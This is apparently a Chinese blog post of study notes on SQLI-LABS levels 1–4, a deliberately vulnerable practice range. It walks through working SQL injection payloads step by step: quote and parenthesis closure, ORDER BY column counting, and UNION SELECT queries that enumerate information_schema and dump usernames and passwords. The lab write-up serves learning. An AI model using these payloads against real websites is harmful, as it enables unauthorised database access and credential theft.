SQLI-LABS学习笔记(一)
逼话少说,如有错误,烦请指出,谢谢。
第一关

提示传个id的参数
后面跟个单引号
http://10.2.10.31/sqli/Less-1/?id=1’
发现报错,这里看到是已经闭合了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
从报错内容中可以看出id传入的是str类型,可以分解成这样来看
传递了一个1‘的参数,并且1’的参数用单引号包裹,最后再最外层一层单引号
' ' 1' ' LIMIT 0,1 '
然后再进行order by 来排序确定字段数
http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常
http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回错误
可以确定字段数为3
联合注入查询

后采用联合注入查看当前数据库名和数据库版本号
查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+

跨库查询表内的表名
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

group_concat这个函数可以将多个字符串连接成一个字符串,就可以实现把表名一条输出出来
查询user字段的内容:
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

查询username 和password的值
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,username,password from users --+

第一关就到这里结束。
第二关
http://10.2.10.31/sqli/Less-2/?id=1%27
报错信息
发现有括号闭合,那就变成
http://10.2.10.31/sqli/Less-3/?id=1’)
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
这时候就已经闭合了,就按着之前的操作,就解决了
第三关结束
第四关
测试注入点
http://10.2.10.31/sqli/Less-4/?id=1'
发现没有报错
改成用双引号
http://10.2.10.31/sqli/Less-4/?id=1"
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
那就用http://10.2.10.31/sqli/Less-4/?id=1")闭合
按照之前的操作,就可以完成
第四关结束
SQLI-LABS学习笔记(一)的更多相关文章
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- go语言,golang学习笔记1 官网下载安装,中文社区,开发工具LiteIDE
go语言,golang学习笔记1 官网下载安装,中文社区,开发工具LiteIDE Go语言是谷歌2009发布的专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速 ...
- C51学习笔记
转自:http://blog.csdn.net/gongyuan073/article/details/7856878 单片机C51学习笔记 一, C51内存结构深度剖析 二, reg51.头 ...
- R语言可视化学习笔记之添加p-value和显著性标记
R语言可视化学习笔记之添加p-value和显著性标记 http://www.jianshu.com/p/b7274afff14f?from=timeline 上篇文章中提了一下如何通过ggpubr ...
- SQLi-Labs学习笔记
结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言.对于初学者,数据库仅仅是在客户端和服务端进行数据存储.SQL通过结构化查询,关系,面向对象编程等等来管理数据库.编程极客们总是搞出许 ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- R ggplot学习笔记1
R 可视化学习笔记 记参数挺费劲的,还是用的时候查官方文档吧,现在记个大概就行吧~ 1.ggplot2分层次绘图 1.1 核心理念 把绘图与数据分离,把数据相关的绘图与数据无关的绘图分离,按图层作图. ...
- Python 图片转字符画 学习笔记
Python 图片转字符画 学习笔记 标签(空格分隔): Python 声明:此文章和所有代码是学习笔记,非原创,原文教程地址:https://www.shiyanlou.com/courses/37 ...
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- js学习笔记:webpack基础入门(一)
之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...
随机推荐
- SpringCloud入门(九): Zuul 上传&回退&异常处理&跨域
Zuul的上传 1.构建一个上传类 import org.springframework.web.bind.annotation.PostMapping; import org.springframe ...
- 7.Metasploit后渗透
Metasploit 高阶之后渗透 01信息收集 应用场景: 后渗透的第一步,更多地了解靶机信息,为后续攻击做准备. 02进程迁移 应用场景: 如果反弹的meterpreter会话是对方打开了一个你预 ...
- vs code 关闭保存自动格式化 formatonsave - [vscode] - [html]
有时候Ctrl+s保存,html代码哥格式会紊乱. 造成这个原因一般是我们基本都在用的一个插件: ; list.add("str1"); list.add(& ...
- 面试官再问你 HashMap 底层原理,就把这篇文章甩给他看
前言 HashMap 源码和底层原理在现在面试中是必问的.因此,我们非常有必要搞清楚它的底层实现和思想,才能在面试中对答如流,跟面试官大战三百回合.文章较长,介绍了很多原理性的问题,希望对你有所帮助~ ...
- github的学习使用以及将自己开发的app传上去。
主要参考的网址如下: https://www.cnblogs.com/sdcs/p/8270029.html https://www.cnblogs.com/sjhsszl/p/8708471.htm ...
- C语言变长数组
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct Variable ...
- 列表推导式和seed()的理解
Table of Contents generated with DocToc 列表推导式和seed()的理解 对seed()的理解 列表推导式 第一种用法 第二种用法 列表推导式和seed()的理解 ...
- shell命令-for语句
数字循环 sum=0 for((i=1;i<=10;i++)) do sum=$(($sum+$i)) echo "$i:$sum" done 字符循环 for i in ` ...
- For循环详解
for语句 学过c语言都对循环结构不陌生,尤其是for循环,他是C语言中最有特色的循环语句,使用最为灵活. 形式 结构:for(表达式1:表达式2:表达式3){循环体结构} 每部分的作用 表达式1:一 ...